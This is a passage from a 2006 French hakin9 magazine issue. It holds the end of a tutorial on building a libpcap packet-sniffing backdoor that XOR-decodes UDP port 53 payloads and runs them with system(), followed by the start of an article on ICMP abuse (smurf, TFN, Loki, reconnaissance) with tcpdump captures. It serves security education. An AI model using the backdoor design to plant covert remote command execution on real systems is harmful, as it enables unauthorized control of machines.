suivant attendu est un pointeur vers une structure bpf _ program . Cette structure est appelée filter program (programme de filtre) qui sera compilée par pcap _ compile(). Dans notre exemple, le bpf _ program déclaré est appelé filter, puis passé vers pcap _ compile() grâce à son adresse (sous forme effective de pointeur). Le troisième argument est une chaîne contenant les règles à compiler dans ce filtre. Ces chaînes de règles pour le filtre sont écrites dans une syntaxe logique et intuitive. Le tableau, déclaré en tant que filter _ string[], et contenant "udp dst port 53", est passé pour cet argument. Une fois compilé dans un bpf _ program , cette chaîne de règles indique à pcap de ne capturer que les paquets destinés au port UDP 53. Une fois le filtre de paquets compilé, ce dernier est ensuite activé en appelant pcap _ setfilter(sniff _ session, filter). À partir de ce moment, tout paquet capturé au moyen du descripteur de capture sniff _ session sera du protocole UDP destiné au port 53 (ce qui représentait également un des objectifs de la porte dérobée). Enfin, toujours dans le Listing 3, la fonction pcap _ loop() est appelée pour lancer la session de capture en question. Les arguments attendus par pcap _ loop() sont les suivants : le descripteur de capture, le comptage de paquets à capturer, le nom d'une fonction de gestion de paquets, ainsi qu'un pointeur arbitrairement défini, chargé de passer vers le gestionnaire de paquets. La fonction pcap _ loop() fonctionne en écoutant puis capturant des paquets sur le descripteur fourni, jusqu'à ce que le nombre de captures indiqué soit atteint. Au moment de capturer chaque paquet, la fonction appelle la fonction de gestion fournie afin de traiter le paquet en conséquence. Cette fonction de gestion de paquets doit être dotée d'une structure d'argument spécifiquement définie, dans la mesure où pcap _ loop() est chargée de passer les données d'une manière particulière.

hakin9 Nº 2/2006

41

Pratique

Lorsque pcap _ loop() appelle la fonction de gestion des paquets, elle passe les arguments suivants dans cet ordre vers le gestionnaire : un pointeur défini par le programmeur, un pointeur dirigé vers une structure pcap _ pkthdr (que nous expliquerons plus loin), et un pointeur dirigé vers le paquet lui-même. Ceci permet à la fonction de gestion de paquets de recevoir les paquets, les informations qu'ils contiennent, ainsi que toute autre donnée que le programmeur souhaite obtenir (au moyen du pointeur défini par le programmeur). Dans le Listing 3, le comptage de paquets passé a été fixé à 0. En d'autres termes, pcap _ loop() doit capturer des paquets indéfiniment. La fonction de gestion de paquets doit impérativement être appelée packet _ handler, ce qui signifie que pcap cherchera une fonction avec ce nom afin d'y passer les paquets capturés. Le pointeur défini par le programmeur n'est pas nécessaire dans la mesure où il n'est jamais déréférencé par pcap ; ce pointeur ne sert au programmeur que pour passer des données via pcap _ loop() vers la fonction de gestion. Pour créer cette porte dérobée, et réaliser les objectifs mentionnés dans le présent article, ce pointeur n'est pas utilisé, et est donc passé vers pcap _ loop() avec la valeur NULL.

Gestion des paquets et analyse syntaxique des commandes

La tâche la plus délicate à réaliser lors de la création d'une porte dérobée chargée de renifler des paquets consiste sans conteste à gérer les paquets capturés et à les analyser correctement pour les commandes. Toutefois, dans la mesure où le programmeur sait que pcap va se charger d'analyser les arguments passés dans la fonction de gestion dans un ordre bien spécifique, la rédaction d'un prototype de fonction de gestion s'avère finalement assez simple. Le premier argument passé dans le gestionnaire est le pointeur défini par le programmeur u _ char *user.

42

hakin9 Nº 2/2006

À propos de l'auteur

Brandon Edwards, également connu sous le pseudonyme de drraid, est chercheur en sécurité informatique, et poursuit ses études à Portland, Oregon, Etats-Unis. Il participe fréquemment à des conférences sur la sécurité telles que Defcon, et travaille actuellement dans le secteur de la sécurité. Vous pouvez contacter l'auteur à l'adresse suivante : [email protected].

Il s'agit du même pointeur, passé auparavant dans pcap _ loop() avec la valeur NULL. Le programmeur sait donc qu'aucune donnée ne sera présente dans cet argument, dans le cadre de cet exemple précis. Le deuxième argument passé dans cette fonction est un pointeur dirigé vers une structure pcap _ pkthdr. Cette structure contient trois éléments : struct timeval ts contenant la durée pendant laquelle le paquet a été capturé, bpf _ u _ int32 caplen contenant un comptage d'octets capturés, et bpf _ u _ int32 len contenant la longueur totale d'octets disponibles pour la capture (peut être plus grande que le nombre d'octets capturés, si elle excède le snaplen). Enfin, le dernier argument passé est un char *packet non signé, dirigé vers les données du paquet. N'oubliez surtout pas que pcap capture le paquet dans son intégralité, y compris ses en-têtes de protocole. Ainsi, le pointeur u _ char *packet est dirigé vers le début du paquet entier (et pas seulement vers son contenu). Afin de n'accéder qu'au contenu du paquet, la longueur des en-têtes de protocole (Ethernet, UDP, IP, etc..) exprimée en octets doit être connue pour pouvoir compenser la valeur du pointeur de paquet passé. Vous trouverez dans le Listing 4 une valeur #define pour les longueurs combinées d'en-têtes Ethernet, IP,

Sur Internet • • • •

et UDP, avec un total de 44 octets décomptés. La fonction exposée dans le Listing 4 est appelée packet _ handler(), puisque c'est le nom le plus normal qui soit (passé dans pcap _ loop() dans le Listing 3). L'objectif de packet _ handler() consiste à assurer que le paquet passé est bien destiné à la porte dérobée, et contient les données attendues de la porte dérobée. Pour ce faire, dans le cadre de notre exemple, il est nécessaire de rédiger une certaine forme de syntaxe de protocole de porte dérobée pour l'authentification et le décryptage du paquet. Comme vous avez pu le constater dans le Listing 4, la première couche relative à l'authentification consiste à comparer les quelques premiers octets du contenu du paquet avec un certain type de clé de protocole. En cas d'absence de clé, le paquet est immédiatement disqualifié pour une éventuelle utilisation de la porte dérobée, ce qui entraîne la fin de la fonction. La présence d'une clé de protocole indique que le paquet est vraisemblablement destiné à la porte dérobée, et que les données doivent faire l'objet d'une authentification plus poussée. Il est en effet plus efficace de contrôler la présence d'une clé de protocole avant de lancer un traitement d'authentification plus poussé.

http://www.icir.org/vern/papers/backdoor – Très bon article sur les concepts de détection des portes dérobées, http://www.tcpdump.org – Page d'accueil de libpcap, excellente source de documentations, http://n0d0z.darktech.org/~drraid – Site personnel de drraid pour poster du code, http://www.rootkit.com – Magazine en ligne sur les rootkits et les portes dérobées.

www.hakin9.org

Création d'une porte dérobée pour le reniflage de paquets

À ce stade, si la fonction de gestion n'a pas été encore retournée, il est probable que le paquet contienne bien des données cryptées. Il est donc judicieux, dans ce cas précis, de tenter de décrypter les données du paquet restant, puis de mener une authentification plus poussée. Dans le cadre de notre exemple, nous n'utiliserons pas de décryptage lourd, mais une méthode appelée cryptage XOR (à l'aide de l'opérateur booléen OU exclusif). Cette forme de cryptage est très simple, grâce à l'opérateur OU exclusif à deux octets de données pour produire un seul octet de données. Autrement dit, cette manœuvre équivaut à prendre un octet issu d'une chaîne de mot de passe, pour l'échanger au moyen de l'opérateur OU exclusif contre un octet issu du tableau de données à coder, afin d'obtenir un octet crypté. Le processus de décryptage est sensiblement le même : il suffit de coder un octet au moyen de l'opérateur OU exclusif pour l'échanger contre l'octet correspondant du mot de passe, afin d'obtenir l'octet original décodé. Comme vous le constaterez dans le Listing 4, nous avons utilisé une boucle for afin d'appliquer l'opérateur OU exclusif sur chaque octet des paquets restants par rapport au mot de passe défini comme PASSWORD. L'opérateur de modulo (%) est utilisé afin de déterminer l'octet de la chaîne de mot de passe correspondant à l'octet référencé dans le contenu du paquet. L'octet décodé ainsi obtenu à partir de chaque cycle de la boucle est stocké dans le tableau appelé decrypt[]. Une fois les données restantes décodées, elles doivent ensuite être vérifiées. La vérification des données décryptées permet de déterminer si elles ont bien été créées à partir d'un état décodé, et donc si elles sont bien destinées à la porte dérobée. Il est très important ici de savoir que, même si le paquet contenait la clé à en-tête de la porte dérobée, il peut s'agir d'un phénomène entièrement aléatoire

et opportun. Plus important encore, le paquet a très bien pu être imité par quelqu'un ayant découvert la présence de la porte dérobée, dans la mesure où la clé à en-tête est facilement détectable (puisque celle-ci est écrite en texte simple). En contrôlant les données ainsi décodées, vous vous assurez non seulement que l'auteur du paquet connaissait la clé à en-tête de la porte dérobée, mais également le mot de passe codé. Afin de simplifier la programmation, le Listing 4 valide le contenu décodé en contrôlant tout simplement 2 chaînes prédéfinies issues des données décodées. Ces chaînes agissent comme un en-tête et un titre courant dans la chaîne de commande à exécuter, et sont définies comme COMMAND _ START et COMMAND _ END. Si l'une de ces chaînes reste introuvable, la paquet est alors considéré comme invalide, ce qui entraîne un retour de la fonction. Dans le cas contraire, si les deux chaînes sont effectivement présentes, les données insérées dans les deux chaînes sont alors extraites et considérées comme étant des commandes. La dernière étape de la vérification consiste alors à éliminer presque toutes les possibilités (99,9 %) d'un hasard truqué ou d'un de la présence d'un paquet créé frauduleusement. La dernière étape pour achever l'objectif de cette porte dérobée consiste à exécuter la chaîne restante en tant que commande. Ceci est réalisé, dans le Listing 4, en appelant system() sur la chaîne restante extraite et décodée. Même si l'appel de system() entraîne l'exécution de la chaîne en tant que commande, notez bien que cette manœuvre n'a aucune incidence sur la gestion des données entrantes et sortantes de la commande exécutée. De même, system() n'est pas très secret ni pratique dans le contexte d'une porte dérobée à distance, et n'est exposé ici qu'à titre d'exemple. Notre exemple de porte dérobée est, comme vous avez pu le constater, très simple. Toutefois, il

www.hakin9.org

illustre à merveille les bases fondamentales d'une expérience pouvant être ensuite étendues de manière fonctionnelle. Notre programme s'inspire en réalité d'une idée déjà mise en pratique par l'auteur sous le nom de SilentDoor, dont vous trouverez une version dans le CD joint à hakin9.live. Nous recommandons fortement à nos lecteurs de tester puis d'étendre à leur tour cette idée. Vos commentaires sont également les bienvenus. Vous pouvez écrire soit directement à l'auteur, soit à l'équipe du magazine.

Conclusion

Les portes dérobées chargées de capturer des paquets sont sournoises et difficiles à prévenir (ou même à détecter, dans la plupart des cas). Heureusement, si vous avez bien lu le présent article, vous comprenez désormais mieux l'objectif d'une porte dérobée chargée de capturer des paquets, et êtes capable d'écrire les prémices de votre propre porte dérobée. Le code fourni dans le présent article n'a d'autre ambition que de servir notre démonstration. Il n'est ni solide ni complet. À l'heure actuelle, le secteur de la sécurité informatique dispose de peu (voire d'aucun) d'outils capables de détecter ce type de porte dérobée. Il existe toutefois plusieurs outils capables de détecter une activité de reniflage sur un système, mais la plupart d'entre eux ne détectent que le reniflage en mode espion (qui ne s'applique pas à une porte dérobée de reniflage très bien implémentée). La possibilité de déterminer l'état d'une capture de paquets sur un système sera la prochaine étape à atteindre en matière de développement anti-porte dérobée. Toutefois, cette technique devrait être considérée comme une menace classique à moins que les outils de détection n'atteignent les compétences évoquées plus haut. l

hakin9 Nº 2/2006

43

Utilisation et abus sur le protocole ICMP Pratique Antonio Merola

Degré de difficulté

L'ICMP (Internet Control Message Protocol) est souvent considéré comme un protocole innocent et sans danger. Toutefois, si un système d'exploitation ou un pare feu vient à le manipuler de manière incorrecte, des pirates peuvent alors l'utiliser à des fins malveillantes.

I

CMP signifie Internet Control Message Protocol (Protocole de Messages de Contrôle Internet). Ce protocole a pour objectif de délivrer des messages relatifs à des conditions d'erreurs non-transitoires. La spécification RFC ainsi que les caractéristiques du protocole ICMP sont décrites dans le RFC 792. Le Tableau 1 contient la liste des documents RFC au sujet du protocole ICMP. Ce protocole ICMP est utilisé, par exemple, lorsqu'un hôte reçoit une requête UDP sur un port placé en non-écoute, ou lorsqu'une fragmentation des datagrammes IP est exigée, alors que le bit DF est activé (voir la partie intitulée Fragmentation des datagrammes IP et protocole ICMP). Ce protocole est chargé de rapporter des conditions d'erreurs et d'interroger le réseau. Alors que le protocole ICMP est encapsulé dans les datagrammes IP, à l'instar des protocoles de transport tels que TCP ou UDP (OSI couche 4), il s'agit d'un protocole de couche réseau (OSI couche 3), comme le protocole IP. L'ICMP fait partie intégrante du protocole IP, et n'a pas recours au schéma client-serveur, ni au nombre de ports ; Il peut être diffusé et n'apporte aucune garantie sur la délivrance d'un message. Les éléments les plus importants de

44

hakin9 Nº 2/2006

ce protocole sont message type et message code pour le type de message spécifié. Ces deux chiffres sont inclus dans les deux premiers octets de l'en-tête du protocole ICMP (voir la Figure 1). Le Tableau 2 permet de définir divers types et codes de protocole ICMP.

Cet article explique... • •

• • •

le fonctionnement détaillé du protocole ICMP et son utilité, l'utilisation du protocole ICMP pour la reconnaissance, les empreintes digitales, les canaux de couverture, les attaques de type DoS et MITM, le type de messages ICMP pouvant être utilisés à des fins malveillantes, comment le protocole ICMP peut perturber les connexions TCP, comment se protéger contre les abus du protocole ICMP.

Ce qu'il faut savoir... • •

www.hakin9.org

le fonctionnement des systèmes d'exploitation *NIX, les bases élémentaires des protocoles TCP/IP.

Abus sur le protocole ICMP

Fragmentation des datagrammes IP et protocole ICMP Les datagrammes IP sont compris dans des trames, la taille d'un datagramme étant restreinte en raison de la limite de chaque moyen de transmission. Cette taille est appelée MTU (Maximum Transmission Unit, ou Unité de Transmission Maximale). Si la taille est plus élevée que cette limite, le datagramme doit alors être fragmenté. Il est possible d'empêcher la fragmentation d'un datagramme IP, en activant le bit DF (Don't Fragment) dans l'en-tête de l'IP. Si un routeur reçoit un paquet de données trop important à transférer, le paquet est tout simplement fragmenté puis transféré. En revanche, si le bit DF est activé, le paquet est alors écarté et un message ICMP de type 3 (destination unreachable, ou destination inatteignable), et de code 4 (fragmentation needed but don't-fragment bit set, ou fragmentation requise mais bit DB activé) est retourné à l'envoyeur, en lui mentionnant qu'il doit réduire la taille de ses paquets pour passer. La MTU du paquet suivant est incluse dans le message ICMP afin d'informer l'emetteur de la taille disponible des paquets.

Requête et réponse par écho avec ICMP

Le mécanisme de requête et de réponse par écho du protocole ICMP est utilisé pour contrôler la présence d'un hôte. L'absence de réponse ne signifie pas automatiquement que l'hôte est arrété. Si, par exemple,

Tableau 1. Documents RFC sur le protocole ICMP Document

Titre

RFC 792

Internet Control Message Protocol

RFC 896

Extinction de la source

RFC 950

Extension de Masques d'Adresses

RFC 1122

Exigences pour les hôtes Internet – Couches de communication

RFC 1191

Découverte du chemin MTU

RFC 1256

Découverte du routeur

RFC 1349

Type de services dans la suite du Protocole Internet

RFC 1812

Exigences pour les routeurs d'IP version 4

Figure 1. Format de messages ICMP un ping est envoyé vers une adresse passerelle VRRP (Virtual Redundancy Routing Protocol – RFC 2338), il peut n'y avoir aucune réponse (selon les paramètres du protocole VRRP), et ce, même si l'adresse a bien pu être atteinte. Toutefois, la table ARP montre une entrée d'adresse MAC débutant par 00-00-5E, associé à l'IP prouvant que le message est passé. Il se peut que la passerelle dispose d'un ACL (Access Control List, ou Liste de Contrôle d'Accès), afin de bloquer le trafic ICMP. Les messages ICMP impliqués sont les suivants :

Outil SING

SING signifie Send ICMP Nasty Garbage (Envoi de déchets encombrants ICMP). Cet outil est chargé d'envoyer des paquets ICMP entièrement personnalisés en ligne de commandes. Nous allons souvent utiliser cet outil dans le cadre du présent article pour notre démonstration. Son principal objectif consiste à remplacer la commande ping. Il peut envoyer et lire des paquets IP malveillants, envoyer des paquets MAC déguisés, des messages contenant différents types et codes ICMP, et des paquets monstres. Il peut également avoir recours à des options IP : Strict Source Routing (Routage de source strict) et Loose Source Routing (Routage de source souple). Cet outil est téléchargeable à partir de l'adresse suivante : http://sourceforge.net/projects/sing. En dépit de sa bonne gestion du protocole ICMP, cet outil n'est plus développé, mais dispose toutefois de fonctionnalités suffisantes permettant de mener à bien des essais dans le cadre du présent article. Vous pouvez bien évidemment utiliser l'outil de votre choix, comme par exemple, nemesis-icmp ou le puissant hping2, puisque le concept reste le même.

www.hakin9.org

•

•

requête par écho (de type 8) issue de la source vers la destination, réponse par écho (de type 0) de la destination vers la source.

Exemple : # ping -c 1 -p \ '20006d617363616c

§

7a6f6e6520000000' \ 10.239.174.180

Il s'agit d'un utilitaire ping inhabituel, puisque nous avons inséré un modèle hexadécimal au moyen de -p, représentant mascalzone en ASCII. Dans un scénario par défaut, l'envoyeur insère des données arbitraires dans le champ des données, puis ces données sont retournées sans modification dans la réponse. Nous avons également paramétré le compteur sur 1, pour n'obtenir qu'un seul paquet au lieu des 4 par défaut. Le commutateur -p est présent sur les machines de type *NIX et sur les Windows XP/ 2000 & 2003. Vous trouverez dans le Listing 1 les données de sortie produites par tcpdump. Remarquez que les entêtes ICMP commencent à l'octet

hakin9 Nº 2/2006

45

Pratique

Listing 1. Requête/réponse par écho vue dans tcpdump # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: echo request (id:3f03 seq:0)(ttl 255, id 23258, len 84) 0000: 4500 0054 5ada 0000 ff01 ed55 0aef aee E..TZÚ..ÿ.íU.ï®æ 0010: 0aef aeb4 0800 1102 3f03 0000 435c b07a .ï®´....?...C\°z 0020: 000c 7304 2000 6d61 7363 616c 7a6f 6e65 ..s. .mascalzone 0030: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0040: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0050: 2000 .

§

§

10.239.174.180 > 10.239.174.230: icmp: echo reply (id:3f03 seq:0) (ttl 128, id 0000: 4500 0054 d593 0000 8001 f19c 0aef 0010: 0aef aee6 0000 1902 3f03 0000 435c 0020: 000c 7304 2000 6d61 7363 616c 7a6f 0030: 2000 0000 2000 6d61 7363 616c 7a6f 0040: 2000 0000 2000 6d61 7363 616c 7a6f 0050: 2000

54675, len 84) aeb4 E..TÕ.....ñ..ï®´ b07a .ï®æ....?...C\°z 6e65 ..s. .mascalzone 6e65 ... .mascalzone 6e65 ... .mascalzone .

Figure 2. Format de message de requête/réponse par écho du protocole ICMP

numéro 20 à partir de 0, et que l'octet 9 contient 01 (numéro du protocole ICMP). Nous avons exposé dans la Figure 2 le format du message de requête/réponse par écho.

Abus possibles

L'abus le plus répandu du mécanisme de requête/réponse par écho du protocole ICMP est l'attaque de type DoS appelée smurf (consultez l'adresse suivante : http:// www.cert.org/advisories/CA-199801.html). Celle-ci est basée sur la possibilité d'envoyer un ping sur une adresse de diffusion. Ainsi, une énorme quantité de requêtes par échos dirigée vers l'adresse de diffusion est générée avec l'adresse IP usurpée de la victime. L'objectif de cette attaque consiste à congestionner le réseau qui déconnectera la machine de la victime. L'attaque smurf peut être lancée à distance. Il suffit d'envoyer une requête par écho ICMP vers un hôte intermédiaire (amplificateur). Cette requête contient l'adresse source

Tableau 2. Différents types et codes du protocole ICMP

46

Type

Nom

Code

0

Réponse par écho

0 – Aucun code

1

Non-affecté

0 – Aucun code

2

Non-affecté

0 – Aucun code

3

Destination inaccessible

0 – réseau inaccessible 1 – Hôte inaccessible 2 – Protocole inaccessible 3 – Port inaccessible 4 – Fragmentation requise et bit Don't fragment activé 5 – Echec du routage source 6 – Réseau destinataire inconnu 7 – Hôte destinataire inconnu 8 – Hôte de la source isolé 9 – La communication avec le réseau destinataire est interdite par l'administrateur 10 – La communication avec l'hôte destinataire est interdite par l'administrateur 11 – Réseau destinataire inaccessible pour ce type de service 12 – Hôte destinataire inaccessible pour ce type de service 13 – Communication interdite par l'administrateur 14 – Violation de priorité de l'hôte 15 – Priorité isolée effective

4

Extinction de la source

0 – Aucun code

5

Redirigé

0 – Datagramme redirigé vers le réseau (ou le sous-réseau) 1 – Datagramme redirigé vers l'hôte 2 – Datagramme redirigé vers le type de service et de réseau 3 – Datagramme redirigé vers le type de service et d'hôte

hakin9 Nº 2/2006

www.hakin9.org

Abus sur le protocole ICMP

usurpée de la victime ainsi qu'une adresse cible de diffusion. Si l'hôte intermédiaire n'est pas protégé, il enverra le paquet vers l'ensemble des machines du réseau qui répondront à la machine victime de l'attaque. La victime ne peut malheureusement pas se protéger contre ce genre d'attaques, car la protection doit reposer sur le réseau lui-même. Le réseau doit être protégé contre une éventuelle utilisation sous forme d'amplificateur. Il faut donc désactiver l'envoi d'une diffusion dirigée vers l'ensemble des ports routeurs. Ceci empêchera les autres réseaux (par exemple, externes) d'envoyer des requêtes vers des adresses de diffusion contenues dans

le réseau interne. Cette protection est décrite dans le RFC 2644. Une autre couche de protection consiste à configurer toutes les machines du réseau afin d'ignorer les paquets ICMP envoyés vers des adresses de diffusion. Si toutes les machines du réseau sont configurées de telle sorte, aucune ne répondra à une telle requête et la victime ne sera pas inondée de réponses. TFN (pour Tribe Flood Network, consultez l'adresse suivante : http:// staff.washington.edu/dittrich/misc/ tfn.analysis) est un outil malveillant capable d'utiliser le mécanisme de requête/réponse par écho du protocole ICMP. Il s'agit d'un outil d'attaque DDoS, construit sur une

architecture multi-couches (pirate, client, démon, victime), pouvant communiquer des informations grâce aux messages de réponse du protocole ICMP. Cet outil est souvent utilisé car certains outils de contrôle ne vérifient pas les paquets ICMP, laissant ainsi la communication invisible. TFN en pleine action est ainsi difficile à détecter. Les données contenues dans l'en-tête du protocole ICMP peuvent également être utilisées pour convertir la communication par canaux, le projet Loki (http://www.phrack.org/ phrack/49/P49-06) étant un exemple parfait d'une telle implémentation. Afin de détecter une utilisation

Tableau 2. Différents types et codes du protocole ICMP (suite) Type

Nom

Code

6

Autre adresse hôte

0 – Autre adresse hôte pour l'hôte

7

Non-affecté

0 – Aucun code

8

Requête par écho

0 – Aucun code

9

Avertissement routeur

0 – Aucun code

10

Sélection du routeur

0 – Aucun code

11

Temps dépassé

0 – Time to Live dépassé en transit 1 – Temps de rassemblement des fragments dépassé

12

Problème de paramètre

0 – Pointeur indiquant une erreur 1 – Absence d'une option obligatoire 2 – Mauvaise longueur

13

Estampille temporelle

0 – Aucun code

14

Réponse de l'estampille temporelle

0 – Aucun code

15

Demande d'informations

0 – Aucun code

16

Réponse d'informations

0 – Aucun code

17

Requête de masque d'adresse

0 – Aucun code

18

Réponse de masque d'adresse

0 – Aucun code

19

Réservé (à la sécurité)

0 – Aucun code

20–29

Réservé (à un test de robustesse)

0 – Aucun code

30

Utilitaire de routage Traceroute

0 – Aucun code

31

Erreur de conversion de datagramme

0 – Aucun code

32

Hôte mobile redirigé

0 – Aucun code

33

IPv6 Where-Are-You

0 – Aucun code

34

IPv6 I-Am-Here

0 – Aucun code

35

Requête d'inscription mobile

0 – Aucun code

36

Réponse d'inscription mobile

0 – Aucun code

39

SKIP

0 – Aucun code

40

Photuris

0 – Réservé 1 – Indice de paramètre de sécurité inconnu 2 – Paramètre de sécurité valide, mais échec de l'authentification 3 – Paramètre de sécurité valide, mais échec du décryptage

www.hakin9.org

hakin9 Nº 2/2006

47

Pratique

de Loki, il faut pouvoir observer un trafic important de réponses par écho. Le mécanisme de requête/ réponse par écho du protocole ICMP peut également être exploité par un pirate dans le but d'effectuer une simple reconnaissance préalable.

Si une machine répond à une requête ICMP, elle dévoile ainsi son existence. Il est également possible de détecter des empreintes en contrôlant la valeur TTL, puisque les différents systèmes d'exploitation utilisent différentes valeurs TTL par défaut.

Listing 2. Exemple de l'utilitaire de routage Traceroute en action # 1 2 3 4 5 6 7 8 9

traceroute -n www.name.com 192.168.1.1 2.174 ms 3.46 ms 6.734 ms 192.168.100.1 164.449 ms 14.893 ms 9.979 ms HOP_3.7.24 7.847 ms 10.716 ms 10.820 ms HOP_4.211.137 10.535 ms 7.250 ms 12.668 ms HOP_5.98.125 10.477 ms 13.546 ms 15.912 ms HOP_6.211.118 8.978 ms 92.593 ms 14.866 ms HOP_7.5.46 13.452 ms 6.291 ms 13.665 ms HOP_8.8.194 14.94 ms 15.156 ms 21.299 ms DEST.128.8 13.907 ms 18.545 ms 14.308 ms

Listing 3. L'utilitaire de routage Traceroute vu dans tcpdump # tcpdump -ile1 -nn udp or icmp 1. 192.168.1.3.23469 > 192.168.1.1.53:[udp sum ok] 49680+ A?www.name.com. (30) (ttl 64, id 63871, len 58) 192.168.1.1.53 > 192.168.1.3.23469:49680* 1/2/2 www.name.com.A DEST.128.8 (129) (DF) (ttl 64, id 0, len 157) 2. 192.168.1.3.34790 > DEST.128.8.33435: [no cksum] udp 12 [ttl 1] (id 34791, len 40) 192.168.1.1 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 255, id 14431, len 68) 3. 192.168.1.3.34790 > DEST.128.8.33438: [no cksum] udp 12 (ttl 2, id 34794, len 40) 192.168.100.1 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 254, id 40091, len 56) 4. 192.168.1.3.34790 > DEST.128.8.33441: [no cksum] udp 12 (ttl 3, id 34797, len 40) HOP_3.7.24 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 253, id 63460, len 56) 5. 192.168.1.3.34790 > DEST.128.8.33444: [no cksum] udp 12 (ttl 4, id 34800, len 40) HOP_4.211.137 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 246, id 65312, len 168) 6. 192.168.1.3.34790 > DEST.128.8.33447: [no cksum] udp 12 (ttl 5, id 34803, len 40) HOP_5.98.125 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 247, id 25777, len 168) 7. 192.168.1.3.34790 > DEST.128.8.33450: [no cksum] udp 12 (ttl 6, id 34806, len 40) HOP_6.211.118 > 192.168.1.3: icmp: time exceeded in-transit (ttl 250, id 53570, len 168) 8. 192.168.1.3.34790 > DEST.128.8.33453: [no cksum] udp 12 (ttl 7, id 34809, len 40) HOP_7.5.46 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 9. 192.168.1.3.34790 > DEST.128.8.33456: [no cksum] udp 12 (ttl 8, id 34812, len 40) HOP_8.8.194 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 10. 192.168.1.3.34790 > DEST.128.8.33459: [no cksum] udp 12 (ttl 9, id 34815, len 40) DEST.128.8 > 192.168.1.3: icmp: DEST.128.8 udp port 33459 unreachable (ttl 120, id 37460, len 68)

§

§

§ § § §

§

§

§

§ §

§

48

hakin9 Nº 2/2006

•

§

§

L'utilitaire de routage *NIX fonctionne en envoyant tout d'abord des paquets UDP vers la destination convenue au moyen d'une incrémentation TTL (Time To Live) à partir de 1. Chaque routeur dans le chemin est ainsi requis pour décrémenter le TTL dans un paquet IP d'au moins 1 avant de l'envoyer. Si le paquet n'atteint pas sa destination, un message ICMP de type time exceeded in transit (TTL=0) est alors retourné à la source. Un autre paquet est alors envoyé à partir de la source, avec la valeur TTL=2. Ce processus se répète jusqu'à ce que la destination soit atteinte. Bien sûr cette erreur ne se produit que lorsque tous les noeuds contenus dans le chemin génèrent un ICMP correctement et lorsque les paquets UDP ne sont pas filtrés. Le protocole UDP est utilisé à la place du TCP, parce que le protocole UDP enclenche un message ICMP lorsqu'un port n'écoute pas, alors que le protocole TCP renvoie le paquet avec RST/ACK. Les messages ICMP impliqués dans ce processus sont les suivants : •

§

§

Temps ICMP excédé en transit et port UDP inatteignable (utilitaire de routage traceroute)

§

§

§

§

www.hakin9.org

type 11 code 0, lorsque la destination n'est pas atteinte, de la destination vers la source, type 3 code 3, lorsque la destination est atteinte, de la destination vers la source.

Veuillez consulter le Listing 2 pour un exemple de ce processus et le Listing 3 pour les données de sortie de tcpdump. Tentons de comprendre ce qui se passe dans cette trace. Tout d'abord, il est intéressant de remarquer que les données de sortie de tcpdump ne sont pas complètes. En effet, 2 paquets ont été coupés à chaque ligne pour une meilleure lecture. L'hôte 192.168.1.3 émet une requête DNS (sur un routeur) et le nom a été résolu (au moyen d'un cache d'ISP). DEST.128.8 représentait l'hôte

Abus sur le protocole ICMP

à atteindre. L'hôte source a ensuite généré un paquet UDP avec la valeur TTL=1. La passerelle a décrémenté la valeur TTL de 1 à 0, l'a abandonnée puis a envoyé un message ICMP de type time exceeded in transit. En 3, un autre paquet UDP avec une valeur TTL=2 a été généré par la source, et la, le point final de la passerelle ISP a envoyé un message ICMP de type time exceeded in transit. Cette itération se retrouve en 4 jusqu'à 9, chaque passerelle envoyant un paquet ICMP, jusqu'à 10, moment à partir duquel un paquet contenant la valeur TTL=9 a enfin atteint l'hôte destinataire. L'hôte a ensuite renvoyé un message ICMP de type UDP port unreachable.

Abus possibles

Ce mécanisme est assez fiable, mais est apparemment utilisé pour une reconnaissance. Si l'hôte destinataire renvoie un message de type UDP port unreachable, il dévoile également son existence. Des essais d'empreintes peuvent également être réalisés sur la base des valeurs TTL.

Listing 4. Envoi d'une requête d'estampille temporelle au moyen de l'outil SING # sing -c 1 -tstamp 10.239.174.180 SINGing to 10.239.174.180 (10.239.174.180): 20 data bytes 10240 bytes from 10.239.174.180: seq=0 ttl=128 TOS=0 diff=800917246* --- 10.239.174.180 sing statistics --1 packets transmitted, 1 packets received, 0% packet loss

Listing 5. Mécanisme de requête/réponse d'estampille temporelle vu dans tcpdump # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: time stamp request (ttl 255, id 13170, len 40) 0000: 4500 0028 3372 0000 ff01 14ea 0aef aee6 E..(3r..ÿ..ê.ï®æ 0010: 0aef aeb4 0d00 b64a eb6c 0000 0244 4f04 .ï®´..¶Jël...DO. 0020: 0000 0000 0000 0000 ........

§

§

10.239.174.180 > 10.239.174.230: icmp: time stamp reply (ttl 128, id 4727, len 40) 0000: 4500 0028 1277 0000 8001 b4e5 0aef aeb4 E..(.w....´å.ï®´ 0010: 0aef aee6 0e00 a542 eb6c 0000 0244 4f04 .ï®æ..¥Bël...DO. 0020: b201 5602 b201 5602 0000 0000 0000 ².V.².V.......

Requête/réponse d'estampille temporelle du protocole ICMP Les paquets ICMP de type time stamp request/reply sont utilisés pour mesurer le temps d'attente du réseau, en gérant la durée de rotation des paquets. Les messages ICMP impliqués dans ce processus sont les suivants : •

•

requête d'estampille temporelle de type 3, de la source vers la destination, afin de paramétrer l'estampille temporelle originelle, réponse d'estampille temporelle (type 14), de la destination vers la source, comprenant l'estampille temporelle originelle (temps source), l'estampille temporelle de réception (temps de destination) et l'estampille temporelle de transmission de la réponse (temps de destination).

Veuillez consulter le Listing 4 pour un exemple de ce processus, la Figure 3

Figure 3. Format d'un message de requête/réponse d'estampille temporelle du protocole ICMP Listing 6. Message de type destination ICMP inaccessible vu par tcpdump # tcpdump –nnx –i le1 icmp 10.173.217.2 > 10.173.217.50: icmp: host 10.173.217.1 unreachable [tos 0xc0] 45c0 0038 0000 0000 1e01 d476 0aad d902 0aad d932 0301 fcfe 0000 0000 4500 0020 3372 0000 ff01 c0dc 0aad d932 0aad d901 1100 478d 5972 4e00

§

§

